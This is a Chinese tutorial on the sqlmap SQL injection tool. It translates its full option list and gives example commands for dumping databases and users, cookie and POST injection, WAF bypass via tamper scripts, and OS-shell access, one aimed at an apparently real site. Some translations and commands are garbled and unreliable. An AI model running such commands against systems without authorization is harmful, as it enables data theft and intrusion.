此文章写的不错:
http://pnig0s1992.blog.51cto.com/393390/402775 推荐
sqlmap 官网:http://sqlmap.org/
https://github.com/sqlmapproject/sqlmap/zipball/master
sqlmap 的运行需要python环境。
直接到官网下载安装即可。
下载 2.7.8 版本,链接如下:
https://www.python.org/downloads/release/python-278/
简介:
sqlmap 是开源的基于python运行环境的sql注入工具。支持mssql,mysql,oracle等数据库。很多人用了都说好哦!
sqlmap参数介绍
Usage: python sqlmap [options] #选项
Options: #选项
-h, --help Show basic help message and exit #显示基本的帮助信息并退出
-hh Show advanced help message and exit #显示高级的帮助信息并退出
--version Show program‘s version number and exit #显示程序的版本号并退出
-v VERBOSE Verbosity level: 0-6 (default 1) #详细级别:0-6(默认为1)即显示出sqlmap在注入过程中使用的测试代码等等。
Target: #目标
At least one of these options has to be provided to set the target(s)
#这些中的至少一个被提供给所设定的目标
-d DIRECT Direct connection to the database
#直接连接到数据库
-u URL, --url=URL Target URL (e.g. "www.target.com/vuln.php?id=1")
#指定目标url
-l LOGFILE Parse targets from Burp or WebScarab proxy logs
#从burp或webscarab代理的日志中解析日志
-m BULKFILE Scan multiple targets enlisted in a given textual file
#扫描登记在文本文件中的多个目标
-r REQUESTFILE Load HTTP request from a file
#从一个文件中载入请求。常用于post数据提交方式
-g GOOGLEDORK Process Google dork results as target URLs
#处理google dork的结果作为目标url
-c CONFIGFILE Load options from a configuration INI file
从INI配置文件中加载配置选项
Request: #请求
These options can be used to specify how to connect to the target URL
#这些选项可以用来指定如何连接到目标URL
--data=DATA Data string to be sent through POST
#通过post发送字符串数据
--param-del=PDEL Character used for splitting parameter values
#用于 分割的参数值字符
--cookie=COOKIE HTTP Cookie header
#指定coockie的参数值
--cookie-del=CDEL Character used for splitting cookie values
#指定用于分割 cookie值的分割符
--load-cookies=L.. File containing cookies in Netscape/wget format
#包含在Netscape/ wget的格式的cookies文件
--drop-set-cookie Ignore Set-Cookie header from response
#忽略设置coockie的响应头
--user-agent=AGENT HTTP User-Agent header
#指定代理的http user-agent头
--random-agent Use randomly selected HTTP User-Agent header
#设置sqlmap数据的http user-agent header 为随机代理模式
--host=HOST HTTP Host header
#设置http的host头为
--referer=REFERER HTTP Referer header
#设置http referer 的值为。即当前请求来自哪个页面
--headers=HEADERS Extra headers (e.g. "Accept-Language: fr\nETag: 123")
#额外的头文件,如:accept-language:abc
--auth-type=AUTH.. HTTP authentication type (Basic, Digest, NTLM or PKI)
#设定http 验证类型(基本,摘要,NTLM或PKI)
--auth-cred=AUTH.. HTTP authentication credentials (name:password)
#HTTP身份验证凭据(名:密码)
--auth-private=A.. HTTP authentication PEM private key file
#HTTP认证PEM私钥文件
--proxy=PROXY Use a proxy to connect to the target URL
#使用一个代理连接到目标URL
--proxy-cred=PRO.. Proxy authentication credentials (name:password)
#代理身份验证凭据(名:密码)
--proxy-file=PRO.. Load proxy list from a file
#从文件加载代理列表
--ignore-proxy Ignore system default proxy settings
#忽略系统默认的代理设置
--tor Use Tor anonymity network
#使用Tor匿名网络
--tor-port=TORPORT Set Tor proxy port other than default
#设置Tor的代理端口
--tor-type=TORTYPE Set Tor proxy type (HTTP (default), SOCKS4 or SOCKS5)
#设置Tor的代理类型(HTTP(默认),SOCKS4或SOCKS5)
--check-tor Check to see if Tor is used properly
#请检查是否Tor的正确使用
--delay=DELAY Delay in seconds between each HTTP request
#延迟的每个HTTP请求之间的秒
--timeout=TIMEOUT Seconds to wait before timeout connection (default 30)
#秒超时连接之前要等待(默认为30)
--retries=RETRIES Retries when the connection timeouts (default 3)
#重试时连接超时(默认3)
--randomize=RPARAM Randomly change value for given parameter(s)
#随机给定参数改变值(多个)
--safe-url=SAFURL URL address to visit frequently during testing
#URL地址在测试过程中频繁访问
--safe-freq=SAFREQ Test requests between two visits to a given safe URL
#给定的安全URL两次访问之间测试请求
--skip-urlencode Skip URL encoding of payload data
#跳过的有效负载数据的URL编码
--force-ssl Force usage of SSL/HTTPS
#SSL的强制使用/ HTTPS
--hpp Use HTTP parameter pollution
#使用HTTP参数污染
--eval=EVALCODE Evaluate provided Python code before the request (e.g."import hashlib;id2=hashlib.md5(id).hexdigest()")
# 请求前评估提供了Python代码
Optimization:
#优化:
These options can be used to optimize the performance of sqlmap
#这些选项可以被用来优化的SqlMap的性能
-o Turn on all optimization switches
#打开所有的开关优化
--predict-output Predict common queries output
#预测常见的查询输出
--keep-alive Use persistent HTTP(s) connections
#使用持久HTTP(S)连接
--null-connection Retrieve page length without actual HTTP response body
#检索页面长度没有实际的HTTP响应体
--threads=THREADS Max number of concurrent HTTP(s) requests (default 1)
#并发的HTTP(S)请求的最大数量(默认为1)
#
Injection:
#注入
These options can be used to specify which parameters to test for,
provide custom injection payloads and optional tampering scripts
#这些选项可以被用来指定哪些参数来测试,提供自定义的注入有效载荷和可选篡改脚本。
-p TESTPARAMETER Testable parameter(s)
#可测试的参数(S)
--skip=SKIP Skip testing for given parameter(s)
#跳过测试对于给定的参量
--dbms=DBMS Force back-end DBMS to this value
#指定数据库的类型
--dbms-cred=DBMS.. DBMS authentication credentials (user:password)
#DBMS身份验证凭据(用户名:密码)
--os=OS Force back-end DBMS operating system to this value
#指定数据库的操作系统的类型
--invalid-bignum Use big numbers for invalidating values
#用大数字的值无效
--invalid-logical Use logical operations for invalidating values
#使用逻辑运算的值无效
--invalid-string Use random strings for invalidating values
#使用随机字符串值无效
--no-cast Turn off payload casting mechanism
#关闭有效载荷铸造机制
--no-escape Turn off string escaping mechanism
#关闭字符串转义机制
--prefix=PREFIX Injection payload prefix string
#注射有效载荷前缀字符串
--suffix=SUFFIX Injection payload suffix string
#注射有效载荷后缀字符串
--tamper=TAMPER Use given script(s) for tampering injection data
#对于篡改注入数据使用给定的脚本(S)
Detection:
#检测
These options can be used to customize the detection phase
#这些选项可以被用于定制的检测阶段
--level=LEVEL Level of tests to perform (1-5, default 1)
#测试执行水平(1-5,默认为1)
--risk=RISK Risk of tests to perform (0-3, default 1)
#测试风险等级(0-3,默认为1)
--string=STRING String to match when query is evaluated to True
#字符串匹配查询时被评估为真
--not-string=NOT.. String to match when query is evaluated to False
#字符串匹配时,查询结果为假
--regexp=REGEXP Regexp to match when query is evaluated to True
#正则表达式匹配查询时被评估为真
--code=CODE HTTP code to match when query is evaluated to True
#HTTP代码来匹配查询时被评估为真
--text-only Compare pages based only on the textual content
#比较仅基于文本内容的网页
--titles Compare pages based only on their titles
#仅根据它们的标题比较页
Techniques:
#技巧:
These options can be used to tweak testing of specific SQL injection
techniques
#这些选项可用于调整具体的SQL注入技术测试
--technique=TECH SQL injection techniques to use (default "BEUSTQ")
#SQL注入技术(默认是“BEUSTQ”)
--time-sec=TIMESEC Seconds to delay the DBMS response (default 5)
#秒延迟DBMS响应(默认为5)
--union-cols=UCOLS Range of columns to test for UNION query SQL injection
#列范围,以测试UNION查询SQL注入
--union-char=UCHAR Character to use for bruteforcing number of columns
#字符用于列的暴力破解数
--union-from=UFROM Table to use in FROM part of UNION query SQL injection
#表使用从联合查询SQL注入的一部分
--dns-domain=DNS.. Domain name used for DNS exfiltration attack
#域名用于DNS渗出攻击
--second-order=S.. Resulting page URL searched for second-order response
#结果页面的URL搜索二阶响应
#
Fingerprint:
#指纹识别:
-f, --fingerprint Perform an extensive DBMS version fingerprint
#进行了广泛的DBMS版本指纹
Enumeration:
#枚举:
These options can be used to enumerate the back-end database
management system information, structure and data contained in the
tables. Moreover you can run your own SQL statements
#这些选项可以被用于枚举包含在表中的后端数据库管理系统的信息,结构和数据。此外,您可以运行您自己的SQL语句
-a, --all Retrieve everything
#检索一切
-b, --banner Retrieve DBMS banner
#检索DBMS banner 信息
--current-user Retrieve DBMS current user
#检索 DBMS 当前用户
--current-db Retrieve DBMS current database
#检索 DBMS 当前数据库
--hostname Retrieve DBMS server hostname
#检索 DBMS 服务器主机名
--is-dba Detect if the DBMS current user is DBA
#检测当前数据库所在的系统使用的用户身份是否是数据库管理员
--users Enumerate DBMS users
#枚举dbms 用户
--passwords Enumerate DBMS users password hashes
#枚举 dbms 用户的密码 hash
--privileges Enumerate DBMS users privileges
#枚举 DBMS 用户 特权
--roles Enumerate DBMS users roles
#枚举 DBMS 用户 角色
--dbs Enumerate DBMS databases
#枚举 DBMS 数据库
--tables Enumerate DBMS database tables
#枚举 DBMS 数据库的表
--columns Enumerate DBMS database table columns
#枚举 DBMS 数据库的表列
--schema Enumerate DBMS schema
#枚举 DBMS 架构
--count Retrieve number of entries for table(s)
#检索表中的条目的号码
--dump Dump DBMS database table entries
#转储数据库管理系统的数据库表中的条目
--dump-all Dump all DBMS databases tables entries
#转储所有的DBMS的数据库表中的条目
--search Search column(s), table(s) and/or database name(s)
#搜索列(多个),表(S)和/或数据库名(多个)
--comments Retrieve DBMS comments
#检索DBMS评论
-D DB DBMS database to enumerate
#DBMS数据库枚举
-T TBL DBMS database table(s) to enumerate
#DBMS的数据库表(S)枚举
-C COL DBMS database table column(s) to enumerate
#DBMS的数据库表列(S)枚举
-X EXCLUDECOL DBMS database table column(s) to not enumerate
#DBMS的数据库表列(S)不一一列举
-U USER DBMS user to enumerate
#DBMS用户枚举
--exclude-sysdbs Exclude DBMS system databases when enumerating tables
#枚举表时排除DBMS系统数据库
--where=DUMPWHERE Use WHERE condition while table dumping
#使用WHERE条件,而表倾销
--start=LIMITSTART First query output entry to retrieve
#第一个查询的输出项检索
--stop=LIMITSTOP Last query output entry to retrieve
#最后查询的输出项检索
--first=FIRSTCHAR First query output word character to retrieve
#第一个查询输出字字符检索
--last=LASTCHAR Last query output word character to retrieve
#最后一个查询输出字字符检索
--sql-query=QUERY SQL statement to be executed
#要执行的SQL语句
--sql-shell Prompt for an interactive SQL shell
#提示一个交互式SQL外壳
--sql-file=SQLFILE Execute SQL statements from given file(s)
#从给定的文件执行SQL语句(S)
#
Brute force:
#蛮力:
These options can be used to run brute force checks
#这些选项可以用来运行蛮力检查
--common-tables Check existence of common tables
#检查是否存在共同的表
--common-columns Check existence of common columns
#检查是否存在共同的列
User-defined function injection:
#用户定义的函数注入:
These options can be used to create custom user-defined functions
#这些选项可以被用于创建定制的用户定义函数
--udf-inject Inject custom user-defined functions
#注入用户自定义函数
--shared-lib=SHLIB Local path of the shared library
#共享库的本地路径
File system access:
#文件系统的访问:
These options can be used to access the back-end database management
#这些选项可以被用来访问后端数据库管理
system underlying file system
#系统底层文件系统
--file-read=RFILE Read a file from the back-end DBMS file system
#读从后端数据库管理系统的文件系统中的文件
--file-write=WFILE Write a local file on the back-end DBMS file system
#写后端数据库管理系统的文件系统上的本地文件
--file-dest=DFILE Back-end DBMS absolute filepath to write to
#后端数据库管理系统的绝对文件路径写入
Operating system access:
#操作系统访问
These options can be used to access the back-end database management
system underlying operating system
#这些选项可以被用来访问底层操作系统的后端数据库管理系统
--os-cmd=OSCMD Execute an operating system command
#执行操作系统命令
--os-shell Prompt for an interactive operating system shell
#提示一个交互式的操作系统的shell
--os-pwn Prompt for an OOB shell, meterpreter or VNC
#提示一个OOB壳,Meterpreter就会或VNC
--os-smbrelay One click prompt for an OOB shell, meterpreter or VNC
#点击提示一个OOB壳,Meterpreter就会或VNC
--os-bof Stored procedure buffer overflow exploitation
#存储过程缓冲区溢出利用
--priv-esc Database process user privilege escalation
#数据库进程用户权限提升
--msf-path=MSFPATH Local path where Metasploit Framework is installed
#在安装的Metasploit框架本地路径
--tmp-path=TMPPATH Remote absolute path of temporary files directory
#临时文件目录的远程绝对路径
Windows registry access:
#Windows注册表中的访问:
These options can be used to access the back-end database management
system Windows registry
#这些选项可以被用来访问后端数据库管理系统注册表
--reg-read Read a Windows registry key value
#读取注册表键值
--reg-add Write a Windows registry key value data
#编写一个Windows注册表中的键值项数据
--reg-del Delete a Windows registry key value
#删除注册表键值
--reg-key=REGKEY Windows registry key
#Windows注册表键
--reg-value=REGVAL Windows registry key value
#Windows注册表中的键值
--reg-data=REGDATA Windows registry key value data
#Windows注册表中的键值项数据
--reg-type=REGTYPE Windows registry key value type
#Windows注册表键的值类型
General:
#一般:
These options can be used to set some general working parameters
#这些选项可以用来设置一些一般的工作参数
-s SESSIONFILE Load session from a stored (.sqlite) file
#从存储(.sqlite)文件加载会话
-t TRAFFICFILE Log all HTTP traffic into a textual file
#记录所有HTTP流量到一个文本文件
--batch Never ask for user input, use the default behaviour
#从来没有要求用户输入,使用缺省行为
--charset=CHARSET Force character encoding used for data retrieval
#用于数据检索的暴力字符编码
--crawl=CRAWLDEPTH Crawl the website starting from the target URL
#抓取的目标URL开始的网站
--csv-del=CSVDEL Delimiting character used in CSV output (default ",")
#划定为CSV输出使用的字符(默认“,”)
--dump-format=DU.. Format of dumped data (CSV (default), HTML or SQLITE)
#转储数据(CSV(默认),HTML或SQLITE)的格式
--eta Display for each output the estimated time of arrival
#显示每个输出的预计到达时间
--flush-session Flush session files for current target
#对于当前的目标同花顺会话文件
--forms Parse and test forms on target URL
#对目标URL的解析和测试形式
--fresh-queries Ignore query results stored in session file
#忽略的查询结果存储在会话文件
--hex Use DBMS hex function(s) for data retrieval
#使用数据库管理系统(十六进制)功能(多个)数据检索
--output-dir=ODIR Custom output directory path
#自定义输出目录路径
--parse-errors Parse and display DBMS error messages from responses
#解析并显示响应DBMS错误信息
--pivot-column=P.. Pivot column name
#枢轴列名
--save Save options to a configuration INI file
#保存选项到INI配置文件
--scope=SCOPE Regexp to filter targets from provided proxy log
#正则表达式来过滤目标,从所提供的代理日志
--test-filter=TE.. Select tests by payloads and/or titles (e.g. ROW)
#由有效载荷和/或标题选择测试(例如行)
--update Update sqlmap
#更新sqlmap
Miscellaneous:
#其他:
-z MNEMONICS Use short mnemonics (e.g. "flu,bat,ban,tec=EU")
#使用短助记符(如“flu,bat,ban,tec=EU”)
--alert=ALERT Run host OS command(s) when SQL injection is found
#运行主机操作系统命令(S)时,SQL注入被发现
--answers=ANSWERS Set question answers (e.g. "quit=N,follow=N")
# 集问题答案(如"quit=N,follow=N")
--beep Make a beep sound when SQL injection is found
#做一个提示音时,SQL注入被发现
--check-waf Heuristically check for WAF/IPS/IDS protection
#启发式检查WAF/ IPS/ IDS保护
--cleanup Clean up the DBMS from sqlmap specific UDF and tables
#清理从一个SqlMap具体的UDF和表的DBMS
--dependencies Check for missing (non-core) sqlmap dependencies
#检查是否缺少(非核心)的SqlMap依赖
--disable-coloring Disable console output coloring
#禁用控制台输出着色
--gpage=GOOGLEPAGE Use Google dork results from specified page number
#使用谷歌dork的结果,从指定的页码
--identify-waf Make a through testing for a WAF/IPS/IDS protection
#通过测试的WAF/ IPS/ IDS保护做出
--mobile Imitate smartphone through HTTP User-Agent header
#通过HTTP User-Agent头模仿智能手机
--page-rank Display page rank (PR) for Google dork results
#显示网页排名(PR)为谷歌白痴结果
--purge-output Safely remove all content from output directory
#安全地删除输出目录中的所有内容
--smart Conduct through tests only if positive heuristic(s)
#进行过测试,只有积极的启发式(S)
--wizard Simple wizard interface for beginner users
#简单的向导界面,用于初级用户
###############################################################
以上是sqlmap -hh 所出现的所有参数
以下是是sqmap的详细用法
1.基本用法
sqmap -u “注入地址” -v 1 --dbs #列举数据库
sqmap -u “注入地址” -v 1 --current-db #当前数据库
sqmap -u “注入地址” -v 1 --users #列数据库用户
sqmap -u “注入地址” -v 1 --current-user #当前数据库用户
sqmap -u “注入地址” -v 1 --tables -D “数据库名” #列举数据库的表名
sqmap -u “注入地址” -v 1 --columns -T “表名” -D “数据库” #获取表的列名
sqmap -u “注入地址” -v 1 -dump -C “字段,字段” -T “表名” -D “数据库” #获取表中的数据,包含列
sqlmap 默认托库放的位置是 sqlmap/output 文件夹下
2. sqlmap post注入
将post类型提交的数据通过代理的方式拦截下来,并保存为txt文件。使用sqlmap -r file.txt 命令执行操作即可。如:
sqlmap -r test.txt -p id
#针对test.txt 文件中的 请求头参数 id 进行测试。
3,sqlmap cookies注入
sqlmap.py -u “http://127.0.0.1/base.php” –cookies “id=1″ –dbs –level 2
sqlmap.py -u http://x.x.x.x/Down.aspx?tid=2 -p tid –dbms mssql –cookie=”info=username=test”
-p是指指定参数注入
4. sqlmap遇到url重写的注入
哪里存在注入就加上 * 号
./sqlmap.py -u “http://www.cunlide.com/id1/1*/id2/2“
5.sqlmap 编码绕waf注入
./sqlmap.py -u http://127.0.0.1/test.php?id=1 -v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”
在sqlmap 的 tamper目录下有很多space2morehash.py 编码脚本自行加载
6.信息获取
sqlmap -u “http://url/news?id=1” –level=3 –smart-v 1 -f #指纹判别数据库类型
sqlmap -u “http://url/news?id=1” –level=3 –smart–proxy”http://127.0.0.1:8118” #代理注入
sqlmap 的用法参考:
http://www.myhack58.com/Article/html/3/7/2013/39112.htm